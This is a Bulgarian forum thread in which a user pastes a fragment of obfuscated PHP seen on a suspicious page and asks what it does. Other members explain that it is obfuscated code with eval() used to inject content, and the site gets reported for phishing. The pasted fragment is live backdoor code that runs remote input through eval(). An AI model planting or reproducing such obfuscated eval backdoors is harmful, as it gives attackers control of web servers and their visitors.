Автор Тема: Питане за странен код  (Прочетена 2516 пъти)

petar258

  • Напреднали
  • *****
  • Публикации: 341
  • Distribution: Ubuntu-mate 16.04, Windows 7
    • Профил
Питане за странен код
« -: Jun 19, 2016, 21:10 »
Кликнах на един линк, и се случиха някои странни случки. Като проверих на друго устройство, се видя това при зареждане на страница:

Код:
$efb2){$j7d7bb47=$efb2;$ldecbc0cf=$d76bf0;}if(!$j7d7bb47){foreach($sb8ad544[$sb8ad544['f0bc2'][29].$sb8ad544['f0bc2'][58].$sb8ad544['f0bc2'][75].$sb8ad544['f0bc2'][81].$sb8ad544['f0bc2'][81].$sb8ad544['f0bc2'][94]]as$d76bf0=>$efb2){$j7d7bb47=$efb2;$ldecbc0cf=$d76bf0;}}$j7d7bb47=@$sb8ad544[$sb8ad544['f0bc2'][54].$sb8ad544['f0bc2'][50].$sb8ad544['f0bc2'][94].$sb8ad544['f0bc2'][57].$sb8ad544['f0bc2'][4].$sb8ad544['f0bc2'][39]]($sb8ad544[$sb8ad544['f0bc2'][57].$sb8ad544['f0bc2'][20].$sb8ad544['f0bc2'][58].$sb8ad544['f0bc2'][39].$sb8ad544['f0bc2'][20].$sb8ad544['f0bc2'][63].$sb8ad544['f0bc2'][75]]($sb8ad544[$sb8ad544['f0bc2'][67].$sb8ad544['f0bc2'][39].$sb8ad544['f0bc2'][39].$sb8ad544['f0bc2'][15].$sb8ad544['f0bc2'][17].$sb8ad544['f0bc2'][50].$sb8ad544['f0bc2'][13].$sb8ad544['f0bc2'][75]]($j7d7bb47),$ldecbc0cf));if(isset($j7d7bb47[$sb8ad544['f0bc2'][57].$sb8ad544['f0bc2'][71]])&&$xf027==$j7d7bb47[$sb8ad544['f0bc2'][57].$sb8ad544['f0bc2'][71]]){if($j7d7bb47[$sb8ad544['f0bc2'][57]]==$sb8ad544['f0bc2'][62]){$y97f1c=Array($sb8ad544['f0bc2'][54].$sb8ad544['f0bc2'][67]=>@$sb8ad544[$sb8ad544['f0bc2'][94].$sb8ad544['f0bc2'][81].$sb8ad544['f0bc2'][82].$sb8ad544['f0bc2'][39].$sb8ad544['f0bc2'][63].$sb8ad544['f0bc2'][15]](),$sb8ad544['f0bc2'][73].$sb8ad544['f0bc2'][67]=>$sb8ad544['f0bc2'][39].$sb8ad544['f0bc2'][53].$sb8ad544['f0bc2'][17].$sb8ad544['f0bc2'][83].$sb8ad544['f0bc2'][39],);echo@$sb8ad544[$sb8ad544['f0bc2'][97].$sb8ad544['f0bc2'][39].$sb8ad544['f0bc2'][57].$sb8ad544['f0bc2'][82].$sb8ad544['f0bc2'][75]]($y97f1c);}elseif($j7d7bb47[$sb8ad544['f0bc2'][57]]==$sb8ad544['f0bc2'][58]){eval($j7d7bb47[$sb8ad544['f0bc2'][20]]);}exit();} ?>

Може ли някой да каже какво прави този код, а също ми е интересно значението на често повтарящите се " $sb8ad544['f0bc2'] " . Възможно е да става дума за програмен език ползващ се при андроид.
Активен

Odido

  • Напреднали
  • *****
  • Публикации: 627
  • Distribution: Arch Linux
  • Window Manager: Gnome
    • Профил
Re: Питане за странен код
« Отговор #1 -: Jun 20, 2016, 09:55 »
Това е php. За да го видиш означава че линка не е работил коректно или някой си е "оставил ръцете".
Активен

"Congratulations, you broke the Internet
Look at what you did! Are you happy now?"

NorthBridge

  • Напреднали
  • *****
  • Публикации: 177
  • Distribution: Slackware-current
  • Window Manager: Enlightenment E17
  • Mad Tinkerer
    • Профил
Re: Питане за странен код
« Отговор #2 -: Jun 20, 2016, 11:45 »
Точно обфускиран php код, който е голяма мъка да се декодира, но обикновено някъде в него има един-два броя eval()-a инжектиращи съдържание. Преди седмица се натъкнах на нещо подобно, един японец беше намерил backdoor в един wordpress, и си беше инжектирал своя сайт за продажба на часовници.  ::) Голяма мъка е да се чисти това, а и гугъл индексират, и става едно весело...

Ако не е твой сайта, няма от какво да се притесняваш  [_]3
Активен

I did a 'zcat vmlinuz > /dev/audio' and I think I heard God...

petar258

  • Напреднали
  • *****
  • Публикации: 341
  • Distribution: Ubuntu-mate 16.04, Windows 7
    • Профил
Re: Питане за странен код
« Отговор #3 -: Jun 20, 2016, 12:45 »
Хах не е мой сайта. Като гледах whois инфото обаче е регистриран наскоро, дали специално за мен е регнат или е съвпадение не е ясно. ;D Кода е предвиден за мобилни устройства - там зарежда това-онова и ако не се клика никъде, се оправя с чистене на кеш, история и кукита(надявам се). Докладван е за фишинг, надявам се да разследват случая.
Активен